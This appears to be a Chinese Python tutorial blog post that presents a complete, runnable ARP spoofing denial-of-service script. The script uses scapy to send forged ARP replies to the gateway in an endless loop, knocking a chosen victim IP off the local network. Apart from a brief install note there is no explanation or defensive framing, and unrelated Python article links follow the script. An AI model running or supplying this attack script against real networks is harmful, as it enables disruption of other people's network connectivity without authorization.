python写的ARP攻击代码实例

yipeiwu_com6年前Python基础

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

复制代码 代码如下:

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103

from scapy.all import ARP,send
import os,re,sys

def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]

def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]

def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)

def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()

相关文章

Python使用回溯法子集树模板获取最长公共子序列(LCS)的方法

Python使用回溯法子集树模板获取最长公共子序列(LCS)的方法

本文实例讲述了Python使用回溯法子集树模板获取最长公共子序列(LCS)的方法。分享给大家供大家参考,具体如下: 问题 输入 第1行:字符串A 第2行:字符串B (A,B的长度 <...

Python函数参数匹配模型通用规则keyword-only参数详解

Python3对函数参数的排序规则更加通用化了,即Python3 keyword-only参数,该参数即为必须只按照关键字传递而不会有一个位置参数来填充的参数。该规则在处理人一多个参数是...

Python通过websocket与js客户端通信示例分析

Python通过websocket与js客户端通信示例分析

具体的 websocket 介绍可见 http://zh.wikipedia.org/wiki/WebSocket  这里,介绍如何使用 Python 与前端 js 进行通信。...

Python应用03 使用PyQT制作视频播放器实例

Python应用03 使用PyQT制作视频播放器实例

最近研究了Python的两个GUI包,Tkinter和PyQT。这两个GUI包的底层分别是Tcl/Tk和QT。相比之下,我觉得PyQT使用起来更加方便,功能也相对丰富。这一篇用PyQT实...

python读取TXT每行,并存到LIST中的方法

python读取TXT每行,并存到LIST中的方法

文本如图: Python: import sys result=[] with open('accounts.txt','r') as f: for line in f: re...